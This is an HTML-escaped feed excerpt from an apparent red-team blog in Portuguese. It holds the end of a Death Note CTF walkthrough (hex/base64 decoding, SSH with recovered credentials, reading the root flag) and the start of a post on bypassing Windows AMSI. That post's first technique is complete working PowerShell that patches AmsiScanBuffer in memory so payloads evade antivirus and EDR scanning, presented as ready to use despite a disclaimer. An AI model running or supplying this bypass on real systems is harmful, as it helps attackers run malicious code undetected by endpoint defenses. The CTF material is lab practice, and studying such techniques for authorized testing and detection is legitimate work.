&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;drwxr-xr-x 2 root root 4096 Aug 29 2021 fake-notebook-rule&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;drwxr-xr-x 2 root root 4096 Aug 29 2021 kira-case&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;62-leitura-do-case-filetxt&quot;&gt;6.2 Leitura do case-file.txt&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:/opt/L$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cd&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; kira-case&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; case-file.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;the FBI agent died on December 27, 2006&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1 week after the investigation of the task-force member/head.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;aka.....&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Soichiro Yagami&apos;s family.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;hmmmmmmmmmm......&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;and according to watari,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;he died as other died after Kira targeted them.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;and we also found something in fake-notebook-rule folder.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;63-decodificação-hex--base64-do-casewav&quot;&gt;6.3 Decodificação Hex + Base64 do case.wav&lt;/h3&gt;
&lt;p&gt;Dentro do diretório &lt;code&gt;fake-notebook-rule&lt;/code&gt;, encontramos um arquivo &lt;code&gt;case.wav&lt;/code&gt; ilegível como áudio:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:/opt/L/fake-notebook-rule$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; case.wav&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;63 47 46 7a 63 33 64 6b 49 44 4f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;l@deathnote:/opt/L/fake-notebook-rule$&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; hint&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;use cyberchef&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Utilizando o &lt;strong&gt;CyberChef&lt;/strong&gt; com a receita &lt;code&gt;From Hex → From Base64&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Input (Hex):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;63 47 46 7a 63 33 64 6b 49 44 4f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Step 1 — From Hex:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cGFzc3dkIDoga2lyYWlzZXZpbCA=&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Step 2 — From Base64:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;passwd : kiraisevil&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ &lt;strong&gt;Nova credencial encontrada: &lt;code&gt;kira&lt;/code&gt; / &lt;code&gt;kiraisevil&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;64-login-como-kira-e-decodificação-do-kiratxt&quot;&gt;6.4 Login como kira e decodificação do kira.txt&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Elevando para o usuário kira (ou reconectando via SSH)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;ssh&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; kira@192.168.3.152&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# senha: kiraisevil&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root@deathnote:/home/kira#&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; kira.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Decodificando novamente via &lt;strong&gt;CyberChef&lt;/strong&gt; (&lt;code&gt;From Base64&lt;/code&gt;):&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;please protect one of the following&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1. L (/opt)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;2. Misa (/var)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;65-descoberta-do-arquivo-misa-em-var&quot;&gt;6.5 Descoberta do arquivo Misa em /var&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root@deathnote:/var#&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; misa&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;it is toooo late for misa&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;7-flags--root&quot;&gt;7. Flags / Root&lt;/h2&gt;
&lt;h3 id=&quot;71-captura-do-roottxt&quot;&gt;7.1 Captura do root.txt&lt;/h3&gt;
&lt;p&gt;Navegando para o diretório home de root, localizamos o arquivo &lt;code&gt;root.txt&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root@deathnote:/var#&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root@deathnote:~#&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;root@deathnote:~#&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; cat&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; root.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;[REDACTED]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;##########follow me on twitter###########3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;and share this screen shot and tag @KDSAMF&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;🏁 &lt;strong&gt;CTF concluído com sucesso!&lt;/strong&gt; A flag final foi obtida no arquivo &lt;code&gt;root.txt&lt;/code&gt; no diretório home do usuário &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&quot;8-conclusão&quot;&gt;8. Conclusão&lt;/h2&gt;
&lt;p&gt;A máquina &lt;strong&gt;Death Note 1&lt;/strong&gt; é um ótimo exercício para iniciantes em CTF, percorrendo um caminho clássico de comprometimento:&lt;/p&gt;


















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Etapa&lt;/th&gt;&lt;th&gt;Técnica&lt;/th&gt;&lt;th&gt;Ferramenta&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Descoberta de host&lt;/td&gt;&lt;td&gt;ARP scan passivo&lt;/td&gt;&lt;td&gt;&lt;code&gt;netdiscover&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mapeamento de superfície&lt;/td&gt;&lt;td&gt;Port/service scan&lt;/td&gt;&lt;td&gt;&lt;code&gt;nmap&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Enumeração web&lt;/td&gt;&lt;td&gt;Directory brute-force&lt;/td&gt;&lt;td&gt;&lt;code&gt;DirBuster&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Coleta de wordlists&lt;/td&gt;&lt;td&gt;Leitura de arquivos expostos&lt;/td&gt;&lt;td&gt;&lt;code&gt;curl&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Acesso inicial&lt;/td&gt;&lt;td&gt;SSH brute-force&lt;/td&gt;&lt;td&gt;&lt;code&gt;hydra&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Pós-exploração&lt;/td&gt;&lt;td&gt;Decodificação Hex + Base64&lt;/td&gt;&lt;td&gt;&lt;code&gt;CyberChef&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Escalada lateral&lt;/td&gt;&lt;td&gt;Reutilização de credencial&lt;/td&gt;&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Captura de flag&lt;/td&gt;&lt;td&gt;Leitura de arquivo root&lt;/td&gt;&lt;td&gt;&lt;code&gt;cat&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Principais aprendizados:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Arquivos aparentemente “corrompidos” podem conter dados úteis — sempre use &lt;code&gt;curl&lt;/code&gt; ou &lt;code&gt;cat&lt;/code&gt; antes de descartar.&lt;/li&gt;
&lt;li&gt;Wordlists expostas em diretórios web são um vetor crítico de ataque.&lt;/li&gt;
&lt;li&gt;Dados codificados em múltiplas camadas (Hex → Base64) são comuns em CTFs de nível fácil; ferramentas como CyberChef agilizam drasticamente a análise.&lt;/li&gt;
&lt;li&gt;A enumeração metódica de diretórios (&lt;code&gt;/opt&lt;/code&gt;, &lt;code&gt;/var&lt;/code&gt;) após o acesso inicial é essencial para encontrar caminhos de escalada.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Escrito por &lt;strong&gt;G4ij1ntoor&lt;/strong&gt; — &lt;a href=&quot;https://kbmsecurity.com&quot;&gt;KBM Security&lt;/a&gt; · r3d/ops blog&lt;/em&gt;&lt;/p&gt;</content:encoded><author>redteam@kbmsecurity.com.br</author><category>ctf</category><category>ctf</category><category>vulnhub</category><category>linux</category><category>brute-force</category><category>hydra</category><category>nmap</category><category>ssh</category><category>web-enumeration</category><difficulty>easy</difficulty></item><item><title>AMSI Bypass — Desabilitando o Antimalware Scan Interface no PowerShell</title><link>https://www.kbmsecurity.com.br/blog/post/amsi-bypass-powershell/</link><guid isPermaLink="true">https://www.kbmsecurity.com.br/blog/post/amsi-bypass-powershell/</guid><description>Técnicas para contornar o AMSI (Antimalware Scan Interface) do Windows e executar payloads PowerShell sem detecção por soluções AV/EDR.</description><pubDate>Mon, 10 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;o-que-é-amsi&quot;&gt;O que é AMSI?&lt;/h2&gt;
&lt;p&gt;O &lt;strong&gt;AMSI (Antimalware Scan Interface)&lt;/strong&gt; é uma API do Windows introduzida no Windows 10 que permite que aplicações enviem conteúdo para soluções antivírus escanearem &lt;strong&gt;em tempo real&lt;/strong&gt;, antes da execução.&lt;/p&gt;
&lt;p&gt;O fluxo funciona assim:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;PowerShell recebe um script ou comando&lt;/li&gt;
&lt;li&gt;Antes de executar, chama &lt;code&gt;AmsiScanBuffer()&lt;/code&gt; ou &lt;code&gt;AmsiScanString()&lt;/code&gt; via &lt;code&gt;amsi.dll&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;O AV/EDR registrado escaneia o conteúdo&lt;/li&gt;
&lt;li&gt;Se malicioso → bloqueado. Se limpo → execução prossegue&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PowerShell → amsi.dll → AmsiScanBuffer() → AV Provider → Allow / Block&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Toda sessão do PowerShell carrega a &lt;code&gt;amsi.dll&lt;/code&gt; no processo. O objetivo dos bypasses é neutralizar essa DLL &lt;strong&gt;antes&lt;/strong&gt; de executar payloads ofensivos.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;AVISO:&lt;/strong&gt; Estas técnicas são para uso exclusivo em ambientes autorizados (pentest, red team, laboratório). O uso não autorizado é crime.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;técnica-1--patch-de-amsiscanbuffer-via-reflection&quot;&gt;Técnica 1 — Patch de AmsiScanBuffer via Reflection&lt;/h2&gt;
&lt;p&gt;A técnica mais clássica: usar .NET Reflection para localizar e patchear a função &lt;code&gt;AmsiScanBuffer&lt;/code&gt; na memória, fazendo-a sempre retornar &lt;code&gt;AMSI_RESULT_CLEAN&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;powershell&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# AMSI Patch via Reflection — clássico&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Win32&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; @&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;using System;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;using System.Runtime.InteropServices;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;public class Win32 {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    [DllImport(&quot;kernel32&quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    [DllImport(&quot;kernel32&quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    public static extern IntPtr LoadLibrary(string name);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    [DllImport(&quot;kernel32&quot;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;@&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Add-Type&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; $Win32&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Lib&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;  =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Win32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::LoadLibrary(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;amsi.dll&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Addr&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Win32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::GetProcAddress(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Lib&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;AmsiScanBuffer&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# Patch: mov eax, 0x80070057 ; ret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Patch&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Byte&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[]](&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0xB8&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x57&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x00&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x07&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x80&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0xC3&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Old&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;   =&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;Win32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]::VirtualProtect(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Addr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;UIntPtr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0x40&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Old&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) | &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;Out-Null&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Marshal&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;System.Runtime.InteropServices.Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Marshal&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;::Copy(&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Patch&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt;$Addr&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
